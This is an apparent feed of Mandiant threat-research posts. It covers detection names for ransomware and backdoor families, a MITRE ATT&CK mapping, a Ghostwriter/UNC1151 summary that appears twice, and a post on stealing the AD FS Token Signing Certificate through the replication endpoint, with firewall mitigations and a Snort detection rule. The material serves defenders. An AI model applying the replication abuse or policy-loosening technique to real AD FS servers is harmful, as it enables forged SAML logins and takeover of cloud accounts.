  • Ransomware.Win.Generic.MVX
  • Malware.Binary.exe

BEACON

  • FE_Loader_Win32_BLUESPINE_1
  • Backdoor.BEACON
  • Malware.Binary.exe

WARPRISM

  • FE_Loader_PS1_WARPRISM_1
  • FEC_Loader_PS1_WARPRISM_1
  • Backdoor.BEACON
  • Trojan.Generic
  • Trojan.Win.SYSTEMBC
  • Backdoor.Meterpreter
  • Loader.PS1.WARPRISM.MVX
  • Malware.Binary.exe
  • Malware.Binary.ps1

FOXGRABBER

  • FE_Tool_MSIL_FOXGRABBER_1
  • FE_Trojan_MSIL_Generic_109

FireEye EndPoint Security

Real-Time (IOC)

  • SOMBRAT (BACKDOOR)
  • SUSPICIOUS POWERSHELL READ BASE64 DATA (METHODOLOGY)
  • FIVEHANDS RANSOMWARE (FAMILY)
  • DEATHRANSOM RANSOMWARE (FAMILY)
  • HELLOKITTY RANSOMWARE (FAMILY)
  • BEACON (FAMILY)

Malware Protection (AV/MG)

  • SOMBRAT 
    • Generic.mg. 87c78d62fd35bb25
    • Generic.mg.6382d48fae675084
    • Trojan.GenericKD.45750384
    • Trojan.GenericKD.36367848
    • Generic.PwShell.RefA.CB5E962A
  • FIVEHANDS
    • Generic.mg.39ea2394a6e6c39c
    • Generic.mg.f568229e696c0e82
    • Generic.mg.6c849920155f48d4
    • Generic.mg.22d35005e926fe29
    • Generic.mg.57824214710bc0cd
    • Generic.mg.87c0b190e3b4ab92
    • Generic.mg.1b0b9e4cddcbcb02
    • Generic.mg.46ecc24ef6d20f3e
    • Generic.mg.1a79b6d169aac719
    • Generic.mg.a64d79eba40229ae
    • Gen:Variant.Zusy.375932
    • Gen:Variant.Zusy.366866
    • Trojan.GenericKD.46059492
    • Trojan.GenericKD.46059131
    • Trojan.GenericKD.45996121
    • Trojan.GenericKD.45702783
  • WARPRISM 
    • Generic.mg.a01a2ba3ae9f50a5
    • Trojan.PowerShell.Agent.IJ
    • Trojan.Agent.EXDR
    • Trojan.PowerShell.Ransom.E
    • Trojan.Agent.EUKPTrojan.GenericKD.45856129
    • Heur.BZC.PZQ.Boxter.829.B5AEB7A6
    • Heur.BZC.PZQ.Boxter.829.B84D01A7
    • Heur.BZC.PZQ.Boxter.829.AE76D25C
    • Trojan.PowerShell.Ransom.F
    • Dropped:Heur.BZC.MNT.Boxter.826.0A2B3A87
    • Heur.BZC.PZQ.Boxter.829.A15701BD
  • DEATHRANSOM
    • Generic.mg.c50ab1df254c1855
    • Trojan.Ransomware.GenericKD.35760206
  • HELLOKITTY
    • Generic.mg.136bd70f7aa98f52
    • Generic.mg.06ce6cd8bde75626
    • Generic.mg.af568e8a6060812f
    • Generic.mg.d96adf82f061b1a6
    • Generic.Malware.PfVPk!12.299C21F3
    • Gen:Variant.Ransom.HelloKitty.1
    • Generic.Malware.PfVPk!12.606CCA24
    • Generic.Malware.PfVPk!12.1454636C
  • BEACON
    • Generic.mg.74c688a22822b2ab
    • Generic.mg.7d6e57cbc112ebd3
    • Trojan.Agent.DDSN

MITRE ATT&CK

Tactic

Description

Initial Access

  • T1078 Valid Accounts

Execution

  • T1047 Windows Management Instrumentation
  • T1053.005 Scheduled Task / Job: Scheduled Task
  • T1059.001 Command and Scripting Interpreter: PowerShell
  • T1106 Execution through API

Defense Evasion

  • T1045 Software Packing
  • T1055 Process Injection
  • T1140 Deobfuscate / Decode Files or Information

Discovery

  • T1012 Query Registry
  • T1046 Network Service Scanning
  • T1057 Process Discovery
  • T1082 System Information Discovery
  • T1124 System Time Discovery
  • T1135 Network Share Discovery

Collection

  • T1560.003 Archive Collected Data: Archive via Custom Method

Impact

  • T1485 Data Destruction
  • T1486 Data Encrypted for Impact
  • T1490 Inhibit System Recovery

Command and Control

  • T1071.001 Application Layer Protocol: Web Protocols
  • T1090.002 Proxy: External Proxy
  • T1572  Protocol Tunneling
  • T1573.002 Encrypted Channel: Asymmetric Cryptography

Exfiltration

  • T1041 Exfiltration over C2 Channel

Acknowledgements

Thanks to Nick Richard for technical review, Genevieve Stark and Kimberly Goody for analytical contributions, and Jon Erickson, Jonathan Lepore, and Stephen Eckels for analysis incorporated into this blog post.

☑ ☆ ✇ Threat Research

Ghostwriter Update: Cyber Espionage Group UNC1151 Likely Conducts Ghostwriter Influence Activity

By: Lee Foster

In July 2020, Mandiant Threat Intelligence released a public report detailing an ongoing influence campaign we named “Ghostwriter.” Ghostwriter is a cyber-enabled influence campaign which primarily targets audiences in Lithuania, Latvia and Poland and promotes narratives critical of the North Atlantic Treaty Organization’s (NATO) presence in Eastern Europe. Since releasing our public report, we have continued to investigate and report on Ghostwriter activity to Mandiant Intelligence customers. We tracked new incidents as they happened and identified activity extending back years before we formally identified the campaign in 2020. A new report by our Information Operations analysis, Cyber Espionage analysis, and Mandiant Research teams provides an update on Ghostwriter, highlighting two significant developments.

We have observed an expansion of narratives, targeting and TTPs associated with Ghostwriter activity since we released our July 2020 report. For example, several recent operations have heavily leveraged the compromised social media accounts of Polish officials on the political right to publish content seemingly intended to create domestic political disruption in Poland rather than foment distrust of NATO. These operations, conducted in Polish and English, appear to have largely not relied on the dissemination vectors we have typically observed with previous Ghostwriter activity, such as website compromises, spoofed emails or posts from inauthentic personas. We have observed no evidence that these social media platforms were themselves in any way compromised, and instead believe account credentials were obtained using the compromised email accounts of targeted individuals.

Recently obtained technical evidence now allows us to assess with high confidence that UNC1151, a suspected state-sponsored cyber espionage actor that engages in credential harvesting and malware campaigns, conducts at least some components of Ghostwriter influence activity; current intelligence gaps, including gaps pertaining to website compromises and the operation of false personas, do not allow us to conclusively attribute all aspects of the Ghostwriter campaign to UNC1151 at this time. We do not associate UNC1151 with any other previously tracked threat groups. Since the start of 2021, UNC1151 has expanded its credential theft activity to target German politicians. This targeting has been publicly reported in the German Tagesschau.

The appendices of the report include an exhaustive table of incidents and operations we currently associate with Ghostwriter activity, a detailed case study of a recent Ghostwriter operation, and indicators of compromise (IOCs) related to UNC1151.

Read the report today to learn more.

☑ ☆ ✇ Threat Research

Abusing Replication: Stealing AD FS Secrets Over the Network

By: Douglas Bienstock

Organizations are increasingly adopting cloud-based services such as Microsoft 365 to host applications and data. Sophisticated threat actors are catching on and Mandiant has observed an increased focus on long-term persistent access to Microsoft 365 as one of their primary objectives. The focus on developing novel and hard to detect methods to achieve this goal was highlighted with the recent detection of UNC2452 and their access to Microsoft 365. One of this group's key TTPs was to steal the Token Signing Certificate from an organization’s AD FS server to enable them to bypass MFA and access cloud services as any user, at any time. While defenders previously associated the defense of this certificate, and thus the entire ecosystem, with careful access control and detection efforts around the AD FS server and service account, this is no longer sufficient. In this blog post we will show how a threat actor, with the right privilege, can extract the encrypted Token Signing Certificate from anywhere on the internal network. Once extracted, a threat actor can easily decrypt it and begin accessing cloud services.

Active Directory Federation Services

Active Directory Federation Services (AD FS) is a feature for Windows Servers that enables federated identity and access management. It is often used by organizations to provide single sign-on functionality to access enterprise applications such as Microsoft 365. In technical terms, AD FS functions as an Identity Provider (IdP) and Microsoft 365 is a Service Provider (SP). We’ll use Microsoft 365 as an example going forward, but this technique could apply to any service that is set up to trust AD FS. AD FS verifies a user’s identity and issues assertions that describe the user. Microsoft 365  trusts AD FS to verify user identities and provide it with assertions. To Microsoft 365, it doesn’t matter how AD FS performed the verification, it just needs the assertions.

In the typical deployment (Figure 1), AD FS will verify a user’s identity using Active Directory. At a minimum, an AD FS deployment consists of two servers in an enterprise’s on-premises network: the primary AD FS server, and an AD FS Web Application Proxy (WAP). The proxy is placed in the DMZ and has no functionality besides proxying sign-on attempts from the Internet to the AD FS server. The primary AD FS server receives proxied requests, verifies a user’s identity, and issues assertions that are packaged into SAML security tokens for the user.


Figure 1: Typical AD FS deployment (source: Microsoft)

The SAML token issued by AD FS proves a user’s identity to Microsoft 365 and can also be used to make authorization decisions. The SAML token is an XML document with two main components:

  1. Assertions: Assertions are XML elements that describe the user’s identity. An assertion could be a user SID, group membership SIDs, or other elements like the user’s department name. A single SAML token can have multiple assertions attached to it.
  2. Digital Signature: The assertions in the SAML token are digitally signed using a public/private keypair that resides on the AD FS server. This is called the Token Signing Certificate.

The Token Signing Certificate is the bedrock of security in AD FS. Microsoft 365 uses the digital signature to validate that the SAML token is authentic, valid, and comes from an AD FS server that it trusts. To enable this verification, an administrator shares the public component of the Token Signing Certificate with Microsoft 365. This is then used to cryptographically verify the digital signature in the SAML token and prove authenticity as well as integrity of the token. In other words, if a threat actor got hold of a Token Signing Certificate, they could generate arbitrary SAML tokens to access any federated application, as any user, and even bypass MFA.

Golden SAML

Golden SAML was coined in 2017 by CyberArk to describe the technique of forging SAML tokens to access SPs given a valid Token Signing Certificate. At TROOPERS 19, I detailed how a threat actor could extract the Token Signing Certificate from an AD FS server, as well as some mitigation strategies for defenders.

In a default AD FS configuration, the Token Signing Certificate is stored within a Windows Internal Database (WID) instance that is running on the AD FS server. WID is more or less MS SQL Express, except the database can only be accessed locally over a special named pipe connection. In AD FS, the database is further locked down to only the AD FS service account. The Token Signing Certificate is stored in an encrypted state in the IdentityServerPolicy.ServiceStateSummary table. Figure 2 contains a single row with a column that stores all the settings that AD FS will need on service start as an XML document.

<SigningToken>
            <IsChainIncluded>false</IsChainIncluded>
            <IsChainIncludedSpecified>false</IsChainIncludedSpecified>
            <FindValue>99FABAEE46A09CD9B34B9510AB10E2B0C0ACB99B</FindValue>
            <RawCertificate></RawCertificate>
            <EncryptedPfx></EncryptedPfx>
            <StoreNameValue>My</StoreNameValue>
            <StoreLocationValue>CurrentUser</StoreLocationValue>
            <X509FindTypeValue>FindByThumbprint</X509FindTypeValue>
        </SigningToken>

Figure 2: Example Token Signing Certificate stored in the AD FS database

The Token Signing Certificate as it is stored in the AD FS database is encrypted using symmetric key encryption. Windows uses a technology called Distributed Key Management (DKM) to store the secret value used to derive the symmetric key in an Active Directory container. The AD FS service account can read the attributes of this container, derive the symmetric key, and then decrypt the Token Signing Certificate.

AD FS Replication

AD FS also supports a farm configuration for high availability and load balancing in larger enterprise networks. The individual AD FS servers in a farm can be configured to use unique Token Signing Certificates; however, the default is to have the servers share the same Token Signing Certificate.  In order to stay in sync with each other, the farm will have a primary node and secondary nodes. The secondary nodes make use of a replication service to acquire configuration settings and certificates from the primary AD FS server. To facilitate this, AD FS makes use of Windows Communication Foundation (WCF).

WCF is a framework that allows developers to build service-oriented applications. A WCF application has two components: the service that will receive and process messages, and the client that sends messages to a service and receives back responses. The AD FS servers run a WCF service that is called the Policy Store Transfer Service internally.

To send a message to this service, the client will connect to the URL http://<adfs server name>:80/adfs/services/policystoretransfer. Note that even though the channel is over HTTP, the actual data being exchanged is encrypted during transit. It is also key to understand that although there is a single primary AD FS server, all nodes in an AD FS farm run this WCF service and can be used for replication.

Upon receipt of a message, the WCF service enforces an authorization check to ensure the calling identity is permitted to receive the requested information. The permission check is done by evaluating an authorization policy that is also stored in the IdentityServerPolicy.ServiceStateSummary table of the AD FS database. The policy permits identities whose primary SID matches the AD FS Service account or to any identity that is member of the AD FS server’s local administrators group. If the identity of the client passes the authorization check, then the WCF service will send back a message containing the requested information.

   <AuthorizationPolicy>
   @RuleName = “Permit Service Account”exists([Type ==
    “http://schemas.microsoft.com/ws/2008/06/identity/claims/
    primarysid”, Value == “S-1-5-21-3508695881-2242692613
    -376241919-1107”]) => issue(Type = “http://schemas
    .microsoft.com/authorization/claims/permit”, Value = “
    true”);
   @RuleName = “Permit Local Administrators”exists([Type ==
   “http://schemas.microsoft.com/ws/2008/06/identity/claims/group
   sid”, Value == “S-1-5-32-544”])=> issue(Type = &quot
   ;http://schemas.microsoft.com/authorization/claims/permit”, Value
    = “true”);
   </AuthorizationPolicy>

Figure 3: Default Authorization Policy for AD FS server

Room for Abuse

A threat actor can abuse the Policy Store Transfer Service to acquire the encrypted Token Signing Certificate over the network, similar to the DCSync technique for Active Directory. It is important to note that the data is still encrypted and requires the DKM key stored in Active Directory to decrypt. This technique, however, requires a significant change to how defenders have secured AD FS servers and monitored them for theft of the Token Signing Certificate.

First, previous techniques required code execution on an AD FS server to extract the data or at least an SMB connection to transfer the backing database files. With a strong defense in depth program using secure credential management, EDR, and network segmentation, an enterprise can make it very difficult for a threat actor to access an AD FS server and the Token Signing Certificate. Abusing the AD FS Replication service, however, requires only access to the AD FS server over the standard HTTP port. The default installation of AD FS will even create a Windows Firewall rule to allow HTTP traffic from any system. Additionally, a threat actor does not need the credentials for the AD FS service account and can instead use any account that is a local administrator on an AD FS server. Lastly, there is no Event Log message that is recorded when a replication event occurs on an AD FS server. Altogether, this makes the technique both much easier to execute and much harder to detect.

The authorization policy itself also presents an opportunity for abuse. Because the authorization policy is stored as XML text in the configuration database, a threat actor with enough access could modify it to be more permissive. A threat actor could modify the Authorization Policy to include a group SID such as domain users, S-1-5-21-X-513. Similarly, they could add an ACE to the DKM key container in Active Directory. This would allow the threat actor to easily obtain the Token Signing Certificate and decrypt it using any domain user credentials. This would give them persistent ability to perform a Golden SAML attack with only access to the network as a requirement.

Mandiant has not yet observed this technique used in the wild; however, it is trivial to write a POC for and we are aware of one public tool that will soon support it. Figure 4 shows the output of POC code written in .NET to extract the Token Signing Certificate from a remote AD FS server.


Figure 4: POC code output

Mitigations

The best mitigation against this technique is to use the Windows Firewall to restrict access to port 80 TCP to only the AD FS servers in the farm. If an organization has only a single AD FS server, then port 80 TCP can be blocked completely. This block can be put in place because all traffic to and from AD FS servers and proxies for user authentication is over port 443 TCP.  

To limit inbound communications, modify the existing firewall rule that AD FS inserts on installation.

Set-NetFirewallRule -DisplayName "AD FS HTTP Services (TCP-In)" -RemoteAddress <ADFS1 IP address>,<ADFS2 IP Address>

If no rule exists, the scriptlet in Figure 5 should be applied to all ADFS servers to create one.

New-NetFirewallRule -DisplayName "Allow ADFS Servers TCP 80" -Direction Inbound -Action Allow  -Protocol TCP -LocalPort 80 -RemoteAddress <ADFS1 IPAddress >,<ADFS2 IPAddress>

Figure 5: Windows Firewall - Allow ADFS Server - TCP 80

Organizations that are monitoring the internal network can alert on HTTP POST requests to the address that hosts the Policy Store Transfer service. If there is an AD FS farm, then the IP addresses of the AD FS servers will need to be whitelisted against the rule. Figure 6 shows a sample Snort rule to detect this activity.

alert tcp any any -> any 80 (msg:"AD FS Replication"; flow:established, to_server; content:"POST"; http_method; content:"adfs/services/policystoretransfer"; http_uri; threshold:type limit,track by_src,count 1,seconds 3600; priority:3; sid:7000000; rev:1;)

Figure 6: Sample snort rule

Acknowledgements

Mandiant would like to acknowledge the great work of Dr. Nestori Syynimaa (@DrAzureAD). Dr. Syynimaa independently thought to research the replication of configuration information between AD FS servers and has published his findings on his blog. Mandiant would also like to thank Microsoft for their collaboration on mitigations and detections for this technique. Lastly, special thanks to Mike Burns of the Mandiant Security Transformation services team for his feedback on mitigations and detections.

☑ ☆ ✇ Threat Research

Ghostwriter Update: Cyber Espionage Group UNC1151 Likely Conducts Ghostwriter Influence Activity

By: Lee Foster

In July 2020, Mandiant Threat Intelligence released a public report detailing an ongoing influence campaign we named “Ghostwriter.” Ghostwriter is a cyber-enabled influence campaign which primarily targets audiences in Lithuania, Latvia and Poland and promotes narratives critical of the North Atlantic Treaty Organization’s (NATO) presence in Eastern Europe. Since releasing our public report, we have continued to investigate and report on Ghostwriter activity to Mandiant Intelligence customers. We tracked new incidents as they happened and identified activity extending back years before we formally identified the campaign in 2020. A new report by our Information Operations analysis, Cyber Espionage analysis, and Mandiant Research teams provides an update on Ghostwriter, highlighting two significant developments.

We have observed an expansion of narratives, targeting and TTPs associated with Ghostwriter activity since we released our July 2020 report. For example, several recent operations have heavily leveraged the compromised social media accounts of Polish officials on the political right to publish content seemingly intended to create domestic political disruption in Poland rather than foment distrust of NATO. These operations, conducted in Polish and English, appear to have largely not relied on the dissemination vectors we have typically observed with previous Ghostwriter activity, such as website compromises, spoofed emails or posts from inauthentic personas. We have observed no evidence that these social media platforms were themselves in any way compromised, and instead believe account credentials were obtained using the compromised email accounts of targeted individuals.

Recently obtained technical evidence now allows us to assess with high confidence that UNC1151, a suspected state-sponsored cyber espionage actor that engages in credential harvesting and malware campaigns, conducts at least some components of Ghostwriter influence activity; current intelligence gaps, including gaps pertaining to website compromises and the operation of false personas, do not allow us to conclusively attribute all aspects of the Ghostwriter campaign to UNC1151 at this time. We do not associate UNC1151 with any other previously tracked threat groups. Since the start of 2021, UNC1151 has expanded its credential theft activity to target German politicians. This targeting has been publicly reported in the German Tagesschau.

The appendices of the report include an exhaustive table of incidents and operations we currently associate with Ghostwriter activity, a detailed case study of a recent Ghostwriter operation, and indicators of compromise (IOCs) related to UNC1151.

Read the report today to learn more.

❌